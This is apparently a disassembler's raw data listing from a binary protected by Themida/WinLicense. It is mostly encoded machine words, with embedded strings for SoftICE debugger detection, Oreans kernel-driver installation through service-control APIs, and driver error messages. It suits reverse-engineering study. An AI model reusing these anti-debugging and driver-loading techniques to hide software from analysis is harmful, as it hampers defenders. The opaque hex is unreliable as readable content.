		dd 1182h, 0CE900h, 0F1A00000h, 0DBBCC7DFh, 450B3DCAh, 1EEBDF45h
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
		dd 5C2E5C5Ch, 4349544Eh, 0C08B0045h, 35D98166h,	0F9BD830Fh
		dd 62B01h, 0BD830975h, 62B1689h, 50197400h, 0B8C08B53h
		dd 40Fh, 1B818589h, 9D8D062Bh, 62DBF75h, 585BD3FFh, 1689BD83h
		dd 7400062Bh, 0B8535017h, 40Fh,	1B818589h, 9D8D062Bh, 62DBC64h
		dd 585BD3FFh, 8D89A9B2h, 62B2431h, 0BF0FC08Bh, 2D85C6F1h
		dd 43062B33h, 68CEB70Fh, 0B538184Ah, 88D0Fh, 50600000h
		dd 5A310F52h, 34816158h, 0B676B624h, 0BE86009h,	0A000000h
		dd 0FAE0A264h, 0D1A4A6A2h, 858B7B07h, 62B1D05h,	8D8B605Eh
		dd 62B2659h, 611DCE80h,	1850161h, 0FF062B1Ch, 2B0B1DB5h
		dd 2800F06h, 0B2000000h, 25858D49h, 52062B3Ch, 2589BD89h
		dd 0F5E062Bh, 0D0FFCBBFh, 4833D281h, 0E8907EDFh, 0Ah, 386BC764h
		dd 0BE49701Ah, 0AE86FC8h, 0C5000000h, 32564BA1h, 0FB17E035h
		dd 0C3BE66D0h, 505E5A64h, 6E9h,	0C224100h, 901F9F28h, 0AE1BD8Bh
		dd 6A062Bh, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 15h,	2AC35040h, 68F28B2Dh, 3C18296h,	10E9h, 0CB5FE300h
		dd 90C1BC55h, 0AE323942h, 0F70187B9h, 2434818Ch, 3C18216h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 11C35545h
		dd 0A598D29h, 0B523062Bh, 62B2F95h, 32719529h, 36A062Bh
		dd 1AB59D89h, 6A062Bh, 48A0Fh, 0BA660000h, 36A8B99h, 4B5068F8h
		dd 5250886Fh, 0F6FF06B9h, 0BF310F21h, 5CCB10A4h, 481585Ah
		dd 90B4B024h, 8E0F6037h, 2, 0BD89D08Bh,	62B0E7Dh, 0A49D8D61h
		dd 6A062DB2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 93E6C353h, 0DC33B9BFh,	0E857501Ch
		dd 8, 0BE032505h, 0C1D975C2h, 13E9h, 0DD356100h, 422E3A5Ah
		dd 6EAEE137h, 0D6524546h, 7C91323Ah, 33935A5Ah,	2B2BE1BDh
		dd 40D0FF06h, 335850Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0FEB138C3h, 0E8728ADFh
		dd 810FB23Fh, 5, 0A9C28166h, 6A582Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0BBD635C3h
		dd 9529BCB8h, 62B2475h,	0E860F90h, 0E9000000h, 9, 0F7F9E7CEh
		dd 0FDBC11F4h, 0F88B50C8h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 6A48AFh, 16859D89h
		dd 8468062Bh, 60A5AECDh, 8E69B966h, 8161D98Bh, 32FC2404h
		dd 7E85A51h, 0C2000000h, 67911F71h, 0E88A7055h,	89036A5Fh
		dd 2B2C999Dh, 64F68006h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 77B0B7C3h, 0D94750A4h
		dd 34A9B58Bh, 8E9062Bh,	60000000h, 0B1BCA5F2h, 6A8BE65Ah
		dd 52006A03h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0B58B6CEBh, 62B2C49h, 0CA0F5A68h, 6E8CBh
		dd 0B6320000h, 513C5E6Eh, 5E535250h, 8B66310Fh,	5E585AF8h
		dd 5A243481h, 8D0BCA0Fh, 2DB2AD9Dh, 0FABF0F06h,	50F78B93h
		dd 0EA00A5BEh, 0D0FF9371h, 0ADEBBFFCh, 0F407998h, 1D285h
		dd 0C2816600h, 0D181E5B0h, 3DE33A97h, 0AE958h, 0F6D10000h
		dd 0E06BAF6Ah, 5D83F32Dh, 0E26ABF66h, 13E890h, 0FA0F0000h
		dd 494DCBD7h, 55203DB1h, 8277EE03h, 73924BCDh, 2800FC8h
		dd 52000000h, 0B6505A5Eh, 14E99051h, 47000000h,	5D4EF3Eh
		dd 6E163460h, 730EFEFEh, 2BCB7564h, 6A45A1B7h, 0C3C18100h
		dd 68127F0Fh, 87768AFAh, 0AB3DBF52h, 815E628Ch,	75862404h
		dd 95097889h, 62B1F95h,	20F58D2Bh, 36A062Bh, 2619D31h
		dd 9D09062Bh, 62B34F9h,	860F006Ah, 2, 36AD68Bh,	19118529h
		dd 4E8062Bh, 0
		dd 51C00000h, 7B79BF66h, 448B505Ah, 0E8BF0424h,	8B3C0C74h
		dd 0D78B6600h, 4244489h, 0BB00BE66h, 57006A58h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 5678761Dh
		dd 0E7864B71h, 9589D5A1h, 62B180Dh, 20870Fh, 820F0000h
		dd 1Ah,	14E8h, 4750F00h, 7FA7B398h, 0BDE01BD0h,	0FB1E6CEBh
		dd 581A90C9h, 9D8D5A5Eh, 62DB2B8h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 9CC35545h, 0BE597CB5h, 5C228A5Bh
		dd 66605093h, 0F0255B8h, 28Dh, 61616000h, 56006A93h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 8D1635E0h, 0D0FF83FEh, 0A1B58953h, 59062B02h, 68F0Fh
		dd 85890000h, 62B2415h,	3C850F40h, 8B000000h, 2B1C4D95h
		dd 0B5295806h, 62B2139h, 18CE9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 89FD5262h
		dd 2B15AD85h, 92F78106h, 8B0F584Ch, 51006AD8h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 21A966F6h
		dd 0A525EFB5h, 1C51958Bh, 6A4B062Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B934C355h
		dd 0E19036DDh, 58F78B66h, 9D0115B6h, 62B1F31h, 332D85C6h
		dd 6A43062Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0E4C356h, 0CF816606h, 4E869D5h
		dd 0A7000000h, 0E9C0764Ah, 0Bh,	0E9C0F3FCh, 6B9F146Ch
		dd 5034A2F0h, 50605250h, 5A310F52h, 61616058h, 0E960310Fh
		dd 0Ah,	5EE56CC8h, 2EC5D069h, 61607F5Bh, 8B585A61h, 8B042444h
		dd 825EBF00h, 448970D8h, 8B580424h, 2B1C69BDh, 0FE8B6606h
		dd 0B1DB5FFh, 858D062Bh, 62B3C25h, 0FDEAB966h, 8D89D0FFh
		dd 62B0A31h, 89F18B50h,	8F0F241Ch, 0Ch,	68A0Fh,	0B5290000h
		dd 62B2175h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 9872DAC3h, 0A91689E1h, 71869D8Dh
		dd 0E981062Bh, 7D03B8C1h, 1B8h,	0FBBF0F00h, 6AE3FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BF0FDCC3h, 8BC18BC9h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BD892B4Eh
		dd 62B2B45h, 1F9BD83h, 7500062Bh, 89BD8309h, 62B16h, 53501974h
		dd 0FB8C08Bh, 89000004h, 2B347985h, 0DC9D8D06h,	0FF062DBFh
		dd 83585BD3h, 2B1689BDh, 17740006h, 0FB85350h, 89000004h
		dd 2B347985h, 7D9D8D06h, 0FF062DBCh, 8B585BD3h,	2B1E1195h
		dd 7D958906h, 8B062B16h, 0AAE9C0h, 6F530000h, 61777466h
		dd 575C6572h, 694C6E69h, 736E6563h, 68430065h, 496B6365h
		dd 7058004Eh, 45746F72h, 746978h, 63656843h, 54554F6Bh
		dd 6E695700h, 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh
		dd 694C6E69h, 736E6563h, 69724465h, 56726576h, 69737265h
		dd 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h, 636E6174h
		dd 78450065h, 6B4F7469h, 6F725000h, 4E4963h, 636F7250h
		dd 54554Fh, 74697845h, 45004E49h, 4F746978h, 54005455h
		dd 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 98858900h, 8D062DBAh
		dd 2DBA9485h, 858D5006h, 62DB9FEh, 16850h, 95FF8000h, 62DBAA4h
		dd 0B5FF196Ah, 62DBA98h, 6A016Ah, 0BA2D858Dh, 0FF50062Dh
		dd 2DBA94B5h, 0F595FF06h, 0FF062B29h, 2DBA94B5h, 0A095FF06h
		dd 0FF062DBAh, 2DBA94B5h, 0D995FF06h, 0C3062B11h, 0BA988589h
		dd 858D062Dh, 62DBA94h,	0FE858D50h, 50062DB9h, 168h, 0A495FF80h
		dd 6A062DBAh, 98858D04h, 50062DBAh, 6A046Ah, 0BA57858Dh
		dd 0FF50062Dh, 2DBA94B5h, 0F595FF06h, 0FF062B29h, 2DBA94B5h
		dd 0A095FF06h, 0FF062DBAh, 2DBA94B5h, 0D995FF06h, 0C3062B11h
		dd 0BA988589h, 858D062Dh, 62DBA94h, 0FE858D50h,	50062DB9h
		dd 168h, 0A495FF80h, 6A062DBAh,	98858D04h, 50062DBAh, 6A046Ah
		dd 0BA3F858Dh, 0FF50062Dh, 2DBA94B5h, 0F595FF06h, 0FF062B29h
		dd 2DBA94B5h, 0A095FF06h, 0FF062DBAh, 2DBA94B5h, 0D995FF06h
		dd 0C3062B11h, 0BA988589h, 858D062Dh, 62DBA94h,	0FE858D50h
		dd 50062DB9h, 168h, 0A495FF80h,	6A062DBAh, 98858D04h, 50062DBAh
		dd 6A046Ah, 0BA6A858Dh,	0FF50062Dh, 2DBA94B5h, 0F595FF06h
		dd 0FF062B29h, 2DBA94B5h, 0A095FF06h, 0FF062DBAh, 2DBA94B5h
		dd 0D995FF06h, 0C3062B11h, 0BA988589h, 858D062Dh, 62DBA94h
		dd 0FE858D50h, 50062DB9h, 168h,	0A495FF80h, 6A062DBAh
		dd 98858D04h, 50062DBAh, 6A046Ah, 0BA1A858Dh, 0FF50062Dh
		dd 2DBA94B5h, 0F595FF06h, 0FF062B29h, 2DBA94B5h, 0A095FF06h
		dd 0FF062DBAh, 2DBA94B5h, 0D995FF06h, 0C3062B11h, 1201BD83h
		dd 0F00062Bh, 0B84h, 19D8B00h, 83062B12h, 3894CC3h, 1BD83C3h
		dd 62B12h, 0B840Fh, 9D8B0000h, 62B1201h, 8950C383h, 0BD83C303h
		dd 62B1201h, 0B840F00h,	8B000000h, 2B12019Dh, 54C38306h
		dd 83C30389h, 2B1201BDh, 840F0006h, 0Bh, 12019D8Bh, 0C383062Bh
		dd 0C3038958h, 1201BD83h, 0F00062Bh, 0B84h, 19D8B00h, 83062B12h
		dd 3895CC3h, 8960C3C3h,	2DBA9885h, 94858D06h, 50062DBAh
		dd 0B9FE858Dh, 6850062Dh, 80000001h, 0BAA495FFh, 46A062Dh
		dd 0BA98858Dh, 6A50062Dh, 8D006A04h, 2DBA8F85h,	0B5FF5006h
		dd 62DBA94h, 29F595FFh,	0BD83062Bh, 62B01F9h, 0C840F00h
		dd 0FF000000h, 2DBA94B5h, 0A095FF06h, 0FF062DBAh, 2DBA94B5h
		dd 0D995FF06h, 61062B11h, 858960C3h, 62DBA98h, 0BA94858Dh
		dd 8D50062Dh, 2DB9FE85h, 1685006h, 0FF800000h, 2DBAA495h
		dd 8D046A06h, 2DBA9885h, 46A5006h, 858D006Ah, 62DBA71h
		dd 94B5FF50h, 0FF062DBAh, 2B29F595h, 0F9BD8306h, 62B01h
		dd 0C840Fh, 0B5FF0000h,	62DBA94h, 0BAA095FFh, 0B5FF062Dh
		dd 62DBA94h, 11D995FFh,	0C361062Bh, 98858960h, 8D062DBAh
		dd 2DBA9485h, 858D5006h, 62DB9FEh, 16850h, 95FF8000h, 62DBAA4h
		dd 858D046Ah, 62DBA98h,	6A046A50h, 78858D00h, 50062DBAh
		dd 0BA94B5FFh, 95FF062Dh, 62B29F5h, 1F9BD83h, 0F00062Bh
		dd 0C84h, 94B5FF00h, 0FF062DBAh, 2DBAA095h, 94B5FF06h
		dd 0FF062DBAh, 2B11D995h, 60C36106h, 0BA988589h, 858D062Dh
		dd 62DBA94h, 0FE858D50h, 50062DB9h, 168h, 0A495FF80h, 6A062DBAh
		dd 98858D04h, 50062DBAh, 6A046Ah, 0BA80858Dh, 0FF50062Dh
		dd 2DBA94B5h, 0F595FF06h, 83062B29h, 2B01F9BDh,	840F0006h
		dd 0Ch,	0BA94B5FFh, 95FF062Dh, 62DBAA0h, 0BA94B5FFh, 95FF062Dh
		dd 62B11D9h, 8960C361h,	2DBA9885h, 94858D06h, 50062DBAh
		dd 0B9FE858Dh, 6850062Dh, 80000001h, 0BAA495FFh, 46A062Dh
		dd 0BA98858Dh, 6A50062Dh, 8D006A04h, 2DBA8785h,	0B5FF5006h
		dd 62DBA94h, 29F595FFh,	0BD83062Bh, 62B01F9h, 0C840F00h
		dd 0FF000000h, 2DBA94B5h, 0A095FF06h, 0FF062DBAh, 2DBA94B5h
		dd 0D995FF06h, 61062B11h, 85C760C3h, 62DBA98h, 1, 0BA94858Dh
		dd 8D50062Dh, 2DB9FE85h, 2685006h, 0FF800000h, 2DBAA495h
		dd 0FC00B06h, 0F84h, 9885C700h,	62DBAh,	0E9000000h, 4Dh
		dd 858D046Ah, 62DBA98h,	6A046A50h, 12858D00h, 50062DBAh
		dd 0BA94B5FFh, 95FF062Dh, 62B29F5h, 840FC00Bh, 0Fh, 0BA9885C7h
		dd 62Dh, 0AE90000h, 0C7000000h,	2DBA9885h, 106h, 94B5FF00h
		dd 0FF062DBAh, 2B11D995h, 858B6106h, 62DBA98h, 858960C3h
		dd 62DBA98h, 0BA94858Dh, 8D50062Dh, 2DB9FE85h, 1685006h
		dd 0FF800000h, 2DBAA495h, 8D046A06h, 2DBA9885h,	46A5006h
		dd 858D006Ah, 62DBA12h,	94B5FF50h, 0FF062DBAh, 2B29F595h
		dd 0F9BD8306h, 62B01h, 0C840Fh,	0B5FF0000h, 62DBA94h, 0BAA095FFh
		dd 0B5FF062Dh, 62DBA94h, 11D995FFh, 0C361062Bh,	98858960h
		dd 8D062DBAh, 2DBA9485h, 858D5006h, 62DB9FEh, 16850h, 95FF8000h
		dd 62DBAA4h, 858D046Ah,	62DBA98h, 6A046A50h, 24858D00h
		dd 50062DBAh, 0BA94B5FFh, 95FF062Dh, 62B29F5h, 1F9BD83h
		dd 0F00062Bh, 0C84h, 94B5FF00h,	0FF062DBAh, 2DBAA095h
		dd 94B5FF06h, 0FF062DBAh, 2B11D995h, 0C6C36106h, 2B332D85h
		dd 7685206h, 0FFADE47Bh, 2B1809B5h, 2995FF06h, 89062B1Ch
		dd 2DBAA485h, 2D85C606h, 52062B33h, 2E00E568h, 9B5FF90h
		dd 0FF062B18h, 2B1C2995h, 0A0858906h, 0C6062DBAh, 2B332D85h
		dd 35685206h, 0FFB9BF12h, 2B1809B5h, 2995FF06h,	89062B1Ch
		dd 2B29F585h, 2D85C606h, 52062B33h, 78103468h, 9B5FF98h
		dd 0FF062B18h, 2B1C2995h, 0D9858906h, 0C6062B11h, 2B332D85h
		dd 0D4685206h, 0FFC005DBh, 2B1809B5h, 2995FF06h, 89062B1Ch
		dd 2B24C585h, 0AE806h, 79680000h, 88EA5051h, 997960E0h
		dd 0E1815EF5h, 3420C24Ch, 6E29C681h, 2BFC0000h,	0FBF380C0h
		dd 663034FFh, 5AE311BFh, 10E960h, 0A1A10000h, 6A5E748Fh
		dd 8169C1C7h, 0BECB9293h, 8166DD5Ah, 6124A8F2h,	0E5AAEA81h
		dd 81662E5Fh, 81C6D2D1h, 8BCC3BF2h, 2FEA8172h, 0F54EC25h
		dd 1183h, 0CE900h, 2AE80000h, 8CF76CAh,	0D420B69Ch, 665228D4h
		dd 5523F181h, 6606048Fh, 0BF0FFA8Bh, 69E881DBh,	66024FDBh
		dd 0E889D181h, 0DB65C081h, 0B860024Fh, 49E3D30Ch, 732907BFh
		dd 0F881610Fh, 0FFFF92A4h, 19850Fh, 24E90000h, 4000000h
		dd 0DB5A241Ah, 863F5CB8h, 4DBD3A63h, 5B2256FBh,	0BB08F1F3h
		dd 4BD92606h, 0FFFF53E9h, 0EB7851FFh, 0E9B32FD9h, 20Eh
		dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h
		dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h
		dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h
		dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h
		dd 676F7270h, 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 2B332D85h, 86684706h, 0FFE3E45Bh
		dd 2B0B1DB5h, 25858D06h, 0FF062B3Ch, 10468D0h, 9D8D0000h
		dd 62B2781h, 50D0FF53h,	0C3ACB58Dh, 0FE8B062Dh,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 332D85C6h
		dd 6843062Bh, 0BC8E6EFCh, 0B1DB5FFh, 858D062Bh,	62B3C25h
		dd 0B58DD0FFh, 62B2781h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 2B332D85h, 56685706h
		dd 0FFA69BEEh, 2B0B1DB5h, 25858D06h, 0FF062B3Ch, 65BD8DD0h
		dd 8D062B2Ch, 2DC4D28Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0B4B58D00h, 8D062DC1h, 2DB12F85h
		dd 8DD0FF06h, 2B71868Dh, 0B806h, 0E1FF0000h, 332D85C6h
		dd 6843062Bh, 0C0764AA7h, 0B1DB5FFh, 858D062Bh,	62B3C25h
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 6CDh dup(0)
dword_56B700	dd 2F6h	dup(0)		; DATA XREF: Themida_:0053EFACo
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 99E90000h
		dd 2F000000h, 63677562h, 6B636568h, 622F0032h, 68636775h
		dd 6B6365h, 726F662Fh, 75726563h, 622F006Eh, 68636775h
		dd 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h, 732F0065h
		dd 63776F68h, 3265646Fh, 6C632F00h, 2F007472h, 31736964h
		dd 68732F00h, 6E69776Fh, 6E617473h, 2F006563h, 77746567h
		dd 6174736Ch, 737574h, 676F6C2Fh, 74617473h, 2F007375h
		dd 706D7564h, 74617473h, 7375h,	2F000000h, 63656863h, 6F72706Bh
		dd 74636574h, 6E6F69h, 0
		dd 0FD27BD83h, 0F00062Dh, 0A84h, 8985C700h, 1062B16h, 0C6000000h
		dd 2B332D85h, 4E84706h,	8D000000h, 50906D6Ch, 424448Bh
		dd 4489008Bh, 0FF580424h, 2B0B1DB5h, 25858D06h,	0FF062B3Ch
		dd 8BD0FFD0h, 223F80F8h, 22850Fh, 0B0470000h, 850FAE22h
		dd 0FFFFFFF9h, 0F003F80h, 31E84h, 3F804700h, 14840F00h
		dd 0E9000003h, 1Eh, 0F003F80h, 30684h, 203F8000h, 6850Fh
		dd 0E9470000h, 6, 0FFE2E947h, 3F80FFFFh, 5850F00h, 0E9000000h
		dd 2E3h, 1E9h, 3F804700h, 0F6840F20h, 80FFFFFFh, 850F003Fh
		dd 5, 2C6E9h, 0AE800h, 0CBE90000h, 0E9FFFFFFh, 2B7h, 0FCA7B58Dh
		dd 25E8062Dh, 3000002h,	2DFD3CBDh, 3CBD8306h, 62DFDh, 0B840Fh
		dd 85C70000h, 62B01F9h,	1, 0B2B58DC3h, 0E8062DFCh, 1FCh
		dd 0FD3CBD03h, 0BD83062Dh, 62DFD3Ch, 0B840F00h,	0C7000000h
		dd 2B168985h, 106h, 0B58DC300h,	62DFD2Bh, 1D3E8h, 3CBD0300h
		dd 83062DFDh, 2DFD3CBDh, 840F0006h, 0Bh, 1C7585C7h, 1062Bh
		dd 8DC30000h, 2DFCBCB5h, 1AAE806h, 0BD030000h, 62DFD3Ch
		dd 0FD3CBD83h, 0F00062Dh, 0B84h, 8985C700h, 1062B16h, 0C3000000h
		dd 0FCC6B58Dh, 81E8062Dh, 3000001h, 2DFD3CBDh, 3CBD8306h
		dd 62DFDh, 15840Fh, 85C70000h, 62B1689h, 1, 1F985C7h, 1062Bh
		dd 8DC30000h, 2DFCD4B5h, 14EE806h, 0BD030000h, 62DFD3Ch
		dd 0FD3CBD83h, 0F00062Dh, 0A84h, 0B185C700h, 1062B15h
		dd 8D000000h, 2DFCDEB5h, 126E806h, 0BD030000h, 62DFD3Ch
		dd 0FD3CBD83h, 0F00062Dh, 0A84h, 0B185C700h, 1062B15h
		dd 8D000000h, 2DFCE9B5h, 0FEE806h, 0BD030000h, 62DFD3Ch
		dd 0FD3CBD83h, 0F00062Dh, 0A84h, 7D85C700h, 1062B30h, 8D000000h
		dd 2DFCEFB5h, 0D6E806h,	0BD030000h, 62DFD3Ch, 0FD3CBD83h
		dd 0F00062Dh, 0A84h, 5985C700h,	1062B35h, 8D000000h, 2DFCF5B5h
		dd 0AEE806h, 0BD030000h, 62DFD3Ch, 0FD3CBD83h, 0F00062Dh
		dd 0A84h, 0BD85C700h, 1062B28h,	8D000000h, 2DFD03B5h, 86E806h
		dd 0BD030000h, 62DFD3Ch, 0FD3CBD83h, 0F00062Dh,	0A84h
		dd 0E585C700h, 1062B02h, 8D000000h, 2DFD10B5h, 5EE806h
		dd 0BD030000h, 62DFD3Ch, 0FD3CBD83h, 0F00062Dh,	0A84h
		dd 985C700h, 1062B33h, 8D000000h, 2DFD1BB5h, 36E806h, 0BD030000h
		dd 62DFD3Ch, 0FD3CBD83h, 0F00062Dh, 0A84h, 6985C700h, 1062B18h
		dd 0E9000000h, 1, 203F8047h, 9840Fh, 3F800000h,	0ED850F00h
		dd 0C3FFFFFFh, 1B960h, 0DE8B0000h, 1FE9h, 3F8000h, 5850Fh
		dd 0B90000h, 8A000000h,	0F163817h, 584h, 0B900h, 47460000h
		dd 0F003E80h, 884h, 0FC90B00h, 0FFFFD085h, 0FC90BFFh, 2184h
		dd 3F8000h, 9840Fh, 3F800000h, 0A850F20h, 0B9000000h, 1
		dd 5E9h, 0B900h, 0C90B0000h, 0D840Fh, 0F32B0000h, 0FD3CB589h
		dd 0AE9062Dh, 0C7000000h, 2DFD3C85h, 6,	0B8C36100h, 0
		dd 840FC00Bh, 0Ah, 15B185C7h, 62Bh, 0C88B0000h,	10B7E9h
		dd 56444100h, 33495041h, 4C442E32h, 704F004Ch, 43536E65h
		dd 616E614Dh, 41726567h, 65724300h, 53657461h, 69767265h
		dd 416563h, 72617453h, 72655374h, 65636976h, 65470041h
		dd 74614E74h, 53657669h, 65747379h, 666E496Dh, 704F006Fh
		dd 65536E65h, 63697672h, 44004165h, 74656C65h, 72655365h
		dd 65636976h, 6F6C4300h, 65536573h, 63697672h, 6E614865h
		dd 656C64h, 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 4
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
